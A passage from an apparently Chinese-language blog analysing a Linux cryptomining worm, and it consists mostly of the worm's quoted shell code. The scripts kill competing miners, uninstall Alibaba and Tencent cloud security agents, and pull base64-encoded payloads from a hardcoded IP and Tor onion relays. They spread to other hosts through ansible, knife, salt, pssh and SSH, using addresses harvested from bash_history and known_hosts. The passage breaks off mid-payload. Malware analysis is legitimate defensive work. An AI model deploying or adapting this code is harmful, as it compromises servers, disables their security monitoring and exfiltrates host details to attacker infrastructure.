pkill <span class="nt">-9</span> <span class="nt">-f</span> <span class="s2">"kthreaddi|defunct|./cron|./oka|</span><span class="se">\-</span><span class="s2">unix|/tmp/ddgs|/tmp/idk|/tmp/java|/tmp/keep|/tmp/udevs|/tmp/udk|/tmp/update.sh|/tmp/yarn|/usr/bin/netfs|8220|AliHids|AliSecGuard|AliYunDun|descargars|Donald|HT8s|Jonason|steasec|salt-store|salt-minion|SzdXM|X13-unix|X17-unix|</span><span class="se">\[</span><span class="s2">stea</span><span class="se">\]</span><span class="s2">|aegis_|AliYunDun|AliHids|AliHips|AliYunDunUpdate|aliyun-service|azipl|bash64|bigd1ck|cr.sh|crloger|cronds|crun|cryptonight|curn|currn|ddgs|dhcleint|fs-manager|gf128mul|havegeds|httpdz|irqbalanced|JavaUpdate|system-python3.8-Updates|java-c|kaudited|kdevtmpfsi|kerberods|khugepageds|kinsing|kintegrityds|kpsmouseds|swapd0|kswaped|knthread|kthreadds|kthrotlds|kw0|kworkerds|kworkre|kwroker|liog|lsof|lopata|Macron|mewrs|migrations|miner|mmm|mr.sh|muhsti|mygit|netdns|networkservice|orgfs|pamdicks|pastebin|postgresq1|qW3xT|qwefdas|rctlcli|sleep|stratum|sustes|sustse|sysguard|sysguerd|systeamd|systemd-network|sysupdate|sysupdata|t00ls|thisxxs|Trump|update.sh|vTtHH|watchbog|watchbug|watchog|wipefs|wnTKYg|x3Wq|xig|xmr|zer0|zsvc|pdefenderd|smcard2|rcu_sched"</span>
ps x |grep <span class="nt">-v</span> <span class="nb">grep</span>|grep <span class="nt">-E</span> <span class="s2">"kthreaddi|defunct|kinsing|kdevtmpfs|./oka|zsvc|pdefenderd|smcard2|swapd0|rcu_sched|AliSecGuard|AliYunDunUpdate|AliYunDun|aliyun-service|assist_daemon"</span>|awk <span class="s1">'{print $1}'</span> |xargs <span class="nt">-I</span> % <span class="nb">kill</span> <span class="nt">-9</span> %
ss <span class="nt">-antp</span> |grep <span class="nt">-E</span> <span class="s2">"82.114.253.13|14.17.70.144|3.125.10.23|103.53.210.34|45.64.130.147|34.252.195.254|kinsing|kdevtmpfsi|103.3.62.64|104.140.201.42|104.140.244.186|107.178.104.10|107.191.99.221|107.191.99.95|116.203.73.240|131.153.56.98|131.153.76.130|136.243.102.154|138.201.20.89|138.201.27.243|138.201.36.249|139.162.132.70|139.162.60.220|139.162.81.90|139.99.101.197|139.99.101.198|139.99.101.232|139.99.102.70|139.99.102.71|139.99.102.72|139.99.102.73|139.99.102.74|139.99.120.50|139.99.120.75|139.99.123.196|139.99.124.170|139.99.125.38|139.99.156.30|139.99.68.128|142.44.242.100|142.44.243.6|144.217.14.109|144.217.14.139|147.135.37.31|149.202.42.174|149.202.83.171|15.236.100.141|151.80.144.188|158.69.25.62|158.69.25.71|158.69.25.77|163.172.203.178|163.172.206.67|163.172.207.69|163.172.226.114|163.172.226.137|172.104.143.224|172.104.151.232|172.104.159.158|172.104.165.191|172.104.247.21|172.104.76.21|172.105.205.58|172.105.205.68|172.105.210.117|172.105.211.250|172.105.235.97|178.63.100.197|18.180.72.219|18.210.126.40|192.110.160.114|192.99.69.170|195.154.62.247|195.201.12.107|199.231.85.124|207.246.100.198|213.32.29.143|213.32.74.157|217.182.169.148|23.88.160.140|3.0.193.200|37.187.95.110|37.59.43.131|37.59.44.193|37.59.44.93|37.59.54.205|37.59.55.60|37.9.3.26|45.32.71.82|45.76.65.223|45.79.192.137|45.79.200.97|45.79.204.241|45.79.210.48|46.4.120.18|47.101.30.124|5.196.13.29|5.196.23.240|51.15.54.102|51.15.55.100|51.15.55.162|51.15.58.224|51.15.65.182|51.15.67.17|51.15.69.136|51.15.78.68|51.255.34.118|51.255.34.79|51.255.34.80|51.81.245.40|54.188.223.206|54.37.7.208|66.42.105.146|78.46.49.222|78.46.87.181|81.25.55.79|81.91.189.245|88.99.142.163|88.99.193.240|88.99.242.92|91.121.140.167|94.130.12.27|94.130.12.30|94.130.143.162|94.130.165.85|94.130.165.87|94.130.239.15|94.23.23.52|94.23.247.226|95.216.209.67|205.185.118.204|63.250.33.43|185.199.11|139.99.121.227|199.192.30.2|185.156.179.225|45.129.2.107|194.87.102.77|172.83.155.151|185.165.171.78|70.39.125.244|205.185.118.204|54.37.7.208|209.141.38.71|150.107.76.231|107.167.7.226|194.40.243.61|195.3.146.118|20.53.100.173|20.62.240.187|94.130.164.163|45.9.148.117|168.235.88.209|161.97.140.214|193.23.250.136|95.216.46.125|95.181.179.88|104.244.78.33|15.228.36.177|203.107.32.162|194.38.20.199"</span> |awk <span class="nt">-F</span>, <span class="o">{</span><span class="s1">'print $(NF-1)'</span><span class="o">}</span>|sed <span class="s1">'s/pid=//g'</span> |xargs <span class="nb">kill</span> <span class="nt">-9</span>
<span class="nb">rm</span> <span class="nt">-f</span> <span class="nv">$HOME</span>/.<span class="o">{</span>Evie0EAJrdlD6N9,tEYYDFeOnouIdvpQ,vPUjpEzwu4WUekGs,systemd-service<span class="o">}</span>.sh
<span class="nb">rm</span> <span class="nt">-f</span> /opt/.<span class="o">{</span>Evie0EAJrdlD6N9,tEYYDFeOnouIdvpQ,vPUjpEzwu4WUekGs,systemd-service<span class="o">}</span>.sh
ps ax <span class="nt">-o</span> <span class="s2">"pid %cpu cmd"</span>|grep bash|awk <span class="s1">'{if($2>=20.0) print $1}'</span>|xargs <span class="nb">kill</span> <span class="nt">-9</span>
</pre></td></tr></tbody></table></code></pre></div></div>
<p>上面这个脚本,我一直没有看太懂想干嘛,看起来像是在清理痕迹,灾后重建,又像是在清理竞争对手的挖矿木马,我没看懂他想干嘛,先跳过吧。</p>
<p>还有一段比较有趣的脚本。这看起来应该就是和前面 zscaler 提到的横向移动的功能了。</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
</pre></td><td class="rouge-code"><pre>nU9WagjQ8BenWPXt0ovE12uD8jBItv6
<span class="nb">exec</span> &>/dev/null
<span class="nb">export </span><span class="nv">PATH</span><span class="o">=</span><span class="nv">$PATH</span>:<span class="nv">$HOME</span>:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
<span class="nv">d</span><span class="o">=</span><span class="si">$(</span><span class="nb">grep </span>x:<span class="si">$(</span><span class="nb">id</span> <span class="nt">-u</span><span class="si">)</span>: /etc/passwd|cut <span class="nt">-d</span>: <span class="nt">-f6</span><span class="si">)</span>
<span class="nv">c</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"curl -4fsSLkA- -m200"</span><span class="si">)</span>
<span class="nv">t</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"5ixhieezozxwnvisopgxoba6ssbsrvdpxeduxb4jc6zx7s56rufrjzad"</span><span class="si">)</span>
sockz<span class="o">()</span> <span class="o">{</span>
<span class="nv">n</span><span class="o">=(</span>doh.this.web.id doh.post-factum.tk dns.hostux.net uncensored.lux1.dns.nixnet.xyz dns.rubyfish.cn dns.twnic.tw doh-fi.blahdns.com <span class="k">fi</span>.doh.dns.snopyta.org resolver-eu.lelux.fi doh.li dns.digitale-gesellschaft.ch<span class="o">)</span>
<span class="nv">p</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="s2">"dns-query?name=relay.tor2socks.in"</span><span class="si">)</span>
<span class="nv">s</span><span class="o">=</span><span class="si">$(</span><span class="nv">$c</span> https://<span class="k">${</span><span class="nv">n</span><span class="p">[</span><span class="k">$((</span>RANDOM%11<span class="k">))</span><span class="p">]</span><span class="k">}</span>/<span class="nv">$p</span> | <span class="nb">grep</span> <span class="nt">-oE</span> <span class="s2">"</span><span class="se">\b</span><span class="s2">([0-9]{1,3}</span><span class="se">\.</span><span class="s2">){3}[0-9]{1,3}</span><span class="se">\b</span><span class="s2">"</span> |tr <span class="s1">' '</span> <span class="s1">'\n'</span>|grep <span class="nt">-Ev</span> <span class="o">[</span>.]0|sort <span class="nt">-uR</span>|head <span class="nt">-n</span> 1<span class="si">)</span>
<span class="o">}</span>
fexe<span class="o">()</span> <span class="o">{</span>
<span class="k">for </span>i <span class="k">in</span> <span class="nb">.</span> <span class="nv">$HOME</span> /usr/bin <span class="nv">$d</span> /tmp /var/tmp <span class="p">;</span><span class="k">do </span><span class="nb">echo exit</span> <span class="o">></span> <span class="nv">$i</span>/i <span class="o">&&</span> <span class="nb">chmod</span> +x <span class="nv">$i</span>/i <span class="o">&&</span> <span class="nb">cd</span> <span class="nv">$i</span> <span class="o">&&</span> ./i <span class="o">&&</span> <span class="nb">rm</span> <span class="nt">-f</span> i <span class="o">&&</span> <span class="nb">break</span><span class="p">;</span><span class="k">done</span>
<span class="o">}</span>
isys<span class="o">()</span> <span class="o">{</span>
<span class="nb">echo </span>ZnVuY3Rpb24ga3VybCgpIHsKICByZWFkIHByb3RvIHNlcnZlciBwYXRoIDw8PCQoZWNobyAkezEvLy8vIH0pCiAgRE9DPS8ke3BhdGgvLyAvL30KICBIT1NUPSR7c2VydmVyLy86Kn0KICBQT1JUPSR7c2VydmVyLy8qOnKICBbWyB4IiR7SE9TVH0iID09IHgiJHtQT1JUfSIgXV0gJiYgUE9SVD04MAoKICBleGVjIDM8Pi9kZXYvdGNwLyR7SE9TVH0vJFBPUlQKICBlY2hvIC1lbiAiR0VUICR7RE9DfSBIVFRQLzEuMFxyXG5Ib3N0OiAke0hPU1R9XHJcblxyXG4iID4mMwogICh3aGlsZSByZWFkIGxpbmU7IGRvCiAgIFtbICIkbGluZSIgPT0gJCdccicgXV0gJiYgYnJlYWsKICBkb25lICYmIGNhdCkgPCYzCiAgZXhlYyAzPiYtCn0KCnJtIC1mICRIT01FL3NzCmN1cmwgLVYgfHwgd2dldCAtcSBodHRwczovL2dpdGh1Yi5jb20vbW9wYXJpc3RoZWJlc3Qvc3RhdGljLWN1cmwvcmVsZWFzZXMvZG93bmxvYWQvdjcuNzUuMC9jdXJsLWFtZDY0IC1PICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApjdXJsIC1WIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvY3VybCA+ICRIT01FL2N1cmw7Y2htb2QgK3ggJEhPTUUvY3VybApzcyAtdiAgIHx8IGt1cmwgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvc3MgICA+ICRIT01FL3NzO2NobW9kICt4ICRIT01FL3NzCnNzIC12ICAgfHwgY3VybCAtcyBodHRwOi8vMTM5LjU5LjE1MC43OjQ0My9zcyAtbyAkSE9NRS9zcztjaG1vZCAreCAkSE9NRS9zcwpwcyAgICAgIHx8IGN1cmwgLXMgaHR0cDovLzEzOS41OS4xNTAuNzo0NDMvcHMgLW8gJEhPTUUvcHM7Y2htb2QgK3ggJEhPTUUvcHMK|base64 <span class="nt">-d</span>|bash
crontab <span class="nt">-l</span> <span class="o">||</span> yum <span class="nt">-y</span> <span class="nb">install </span>cron
crontab <span class="nt">-l</span> <span class="o">||</span> yum <span class="nt">-y</span> <span class="nb">install </span>cronie
crontab <span class="nt">-l</span> <span class="o">||</span> apt-get update <span class="o">&&</span> apt-get <span class="nt">-y</span> <span class="nb">install </span>cron
/usr/local/share/assist-daemon/assist_daemon <span class="nt">--stop</span>
/usr/local/share/assist-daemon/assist_daemon <span class="nt">--delete</span>
/usr/local/qcloud/monitor/barad/admin/uninstall.sh
/usr/local/qcloud/stargate/admin/uninstall.sh
/usr/local/qcloud/YunJing/uninst.sh
/etc/init.d/aegis uninstall
systemctl stop aliyun
systemctl disable aliyun
systemctl start cron
systemctl <span class="nb">enable </span>cron
systemctl start crond
systemctl <span class="nb">enable </span>crond
<span class="nb">rm</span> <span class="nt">-rf</span> /usr/loca/qcloud/ /usr/local/aegis/ /usr/local/share/assist-daemon/ /usr/local/share/aliyun-assist/ /usr/sbin/aliyun-service /usr/sbin/aliyun_installer /etc/systemd/system/aliyun.service
<span class="o">}</span>
issh<span class="o">()</span> <span class="o">{</span>
ansible all <span class="nt">-m</span> shell <span class="nt">-a</span> <span class="s1">'echo blU5V2FnalE4QmVuV1BYdDBvdkUxMnVEOGpCSXR2NgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI1aXhoaWVlem96eHdudmlzb3BneG9iYTZzc2JzcnZkcHhlZHV4YjRqYzZ6eDdzNTZydWZyanphZCIpCgpzb2NreigpIHsKbj0oZG9oLnRoaXMud2ViLmlkIGRvaC5wb3N0LWZhY3R1bS50ayBkbnMuaG9zdHV4Lm5ldCB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyByZXNvbHZlci1ldS5sZWx1eC5maSBkb2gubGkgZG5zLmRpZ2l0YWxlLWdlc2VsbHNjaGFmdC5jaCkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgkYyBodHRwczovLyR7blskKChSQU5ET00lMTEpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfGhlYWQgLW4gMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash'</span>
knife ssh <span class="s1">'name:*'</span> <span class="s1">'echo blU5V2FnalE4QmVuV1BYdDBvdkUxMnVEOGpCSXR2NgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI1aXhoaWVlem96eHdudmlzb3BneG9iYTZzc2JzcnZkcHhlZHV4YjRqYzZ6eDdzNTZydWZyanphZCIpCgpzb2NreigpIHsKbj0oZG9oLnRoaXMud2ViLmlkIGRvaC5wb3N0LWZhY3R1bS50ayBkbnMuaG9zdHV4Lm5ldCB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyByZXNvbHZlci1ldS5sZWx1eC5maSBkb2gubGkgZG5zLmRpZ2l0YWxlLWdlc2VsbHNjaGFmdC5jaCkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgkYyBodHRwczovLyR7blskKChSQU5ET00lMTEpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfGhlYWQgLW4gMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash'</span>
salt <span class="s1">'*'</span> cmd.run <span class="s1">'echo blU5V2FnalE4QmVuV1BYdDBvdkUxMnVEOGpCSXR2NgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI1aXhoaWVlem96eHdudmlzb3BneG9iYTZzc2JzcnZkcHhlZHV4YjRqYzZ6eDdzNTZydWZyanphZCIpCgpzb2NreigpIHsKbj0oZG9oLnRoaXMud2ViLmlkIGRvaC5wb3N0LWZhY3R1bS50ayBkbnMuaG9zdHV4Lm5ldCB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyByZXNvbHZlci1ldS5sZWx1eC5maSBkb2gubGkgZG5zLmRpZ2l0YWxlLWdlc2VsbHNjaGFmdC5jaCkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgkYyBodHRwczovLyR7blskKChSQU5ET00lMTEpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfGhlYWQgLW4gMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash'</span>
pssh <span class="s1">'echo blU5V2FnalE4QmVuV1BYdDBvdkUxMnVEOGpCSXR2NgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI1aXhoaWVlem96eHdudmlzb3BneG9iYTZzc2JzcnZkcHhlZHV4YjRqYzZ6eDdzNTZydWZyanphZCIpCgpzb2NreigpIHsKbj0oZG9oLnRoaXMud2ViLmlkIGRvaC5wb3N0LWZhY3R1bS50ayBkbnMuaG9zdHV4Lm5ldCB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyByZXNvbHZlci1ldS5sZWx1eC5maSBkb2gubGkgZG5zLmRpZ2l0YWxlLWdlc2VsbHNjaGFmdC5jaCkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgkYyBodHRwczovLyR7blskKChSQU5ET00lMTEpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfGhlYWQgLW4gMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNobyBleGl0ID4gJGkvaSAmJiBjaG1vZCAreCAkaS9pICYmIGNkICRpICYmIC4vaSAmJiBybSAtZiBpICYmIGJyZWFrO2RvbmUKfQoKdSgpIHsKc29ja3oKZj0vaW50LiQodW5hbWUgLW0pCng9Li8kKGRhdGV8bWQ1c3VtfGN1dCAtZjEgLWQtKQpyPSQoY3VybCAtNGZzU0xrIGNoZWNraXAuYW1hem9uYXdzLmNvbXx8Y3VybCAtNGZzU0xrIGlwLnNiKV8kKHdob2FtaSlfJCh1bmFtZSAtbSlfJCh1bmFtZSAtbilfJChpcCBhfGdyZXAgJ2luZXQgJ3xhd2sgeydwcmludCAkMid9fG1kNXN1bXxhd2sgeydwcmludCAkMSd9KV8kKGNyb250YWIgLWx8YmFzZTY0IC13MCkKJGMgLXggc29ja3M1aDovLyRzOjkwNTAgJHQub25pb24kZiAtbyR4IC1lJHIgfHwgJGMgJDEkZiAtbyR4IC1lJHIKY2htb2QgK3ggJHg7JHg7cm0gLWYgJHgKfQoKZm9yIGggaW4gdG9yMndlYi5pbiB0b3Iyd2ViLml0CmRvCmlmICEgbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1czsgdGhlbgpmZXhlO3UgJHQuJGgKbHMgL3Byb2MvJChoZWFkIC1uIDEgL3RtcC8uWDExLXVuaXgvMDEpL3N0YXR1cyB8fCAoY2QgL3RtcDt1ICR0LiRoKQpscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvZGV2L3NobTt1ICR0LiRoKQplbHNlCmJyZWFrCmZpCmRvbmUK|base64 -d|bash'</span>
<span class="nv">hosts</span><span class="o">=</span><span class="si">$(</span><span class="nb">grep</span> <span class="nt">-oE</span> <span class="s2">"</span><span class="se">\b</span><span class="s2">([0-9]{1,3}</span><span class="se">\.</span><span class="s2">){3}[0-9]{1,3}</span><span class="se">\b</span><span class="s2">"</span> ~/.bash_history /etc/hosts ~/.ssh/known_hosts |grep <span class="nt">-v</span> ^127.|awk <span class="nt">-F</span>: <span class="o">{</span><span class="s1">'print $2'</span><span class="o">}</span>|sort|uniq<span class="si">)</span>
<span class="k">for </span>h <span class="k">in</span> <span class="nv">$hosts</span><span class="p">;</span><span class="k">do </span>ssh <span class="nt">-oBatchMode</span><span class="o">=</span><span class="nb">yes</span> <span class="nt">-oConnectTimeout</span><span class="o">=</span>5 <span class="nt">-oPasswordAuthentication</span><span class="o">=</span>no <span class="nt">-oPubkeyAuthentication</span><span class="o">=</span><span class="nb">yes</span> <span class="nt">-oStrictHostKeyChecking</span><span class="o">=</span>no <span class="nt">-l</span> root <span class="nv">$h</span> <span class="s1">'echo blU5V2FnalE4QmVuV1BYdDBvdkUxMnVEOGpCSXR2NgpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI1aXhoaWVlem96eHdudmlzb3BneG9iYTZzc2JzcnZkcHhlZHV4YjRqYzZ6eDdzNTZydWZyanphZCIpCgpzb2NreigpIHsKbj0oZG9oLnRoaXMud2ViLmlkIGRvaC5wb3N0LWZhY3R1bS50ayBkbnMuaG9zdHV4Lm5ldCB1bmNlbnNvcmVkLmx1eDEuZG5zLm5peG5ldC54eXogZG5zLnJ1YnlmaXNoLmNuIGRucy50d25pYy50dyBkb2gtZmkuYmxhaGRucy5jb20gZmkuZG9oLmRucy5zbm9weXRhLm9yZyByZXNvbHZlci1ldS5sZWx1eC5maSBkb2gubGkgZG5zLmRpZ2l0YWxlLWdlc2VsbHNjaGFmdC5jaCkKcD0kKGVjaG8gImRucy1xdWVyeT9uYW1lPXJlbGF5LnRvcjJzb2Nrcy5pbiIpCnM9JCgkYyBodHRwczovLyR7blskKChSQU5ET00lMTEpKV19LyRwIHwgZ3JlcCAtb0UgIlxiKFswLTldezEsM31cLil7M31bMC05XXsxLDN9XGIiIHx0ciAnICcgJ1xuJ3xncmVwIC1FdiBbLl0wfHNvcnQgLXVSfGhlYWQgLW4gMSkKfQoKZmV4ZSgpIHsKZm9yIGkgaW4gLiAkSE9NRSAvdXNyL2JpbiAkZCAvdmFyL3RtcCA7ZG8gZWNo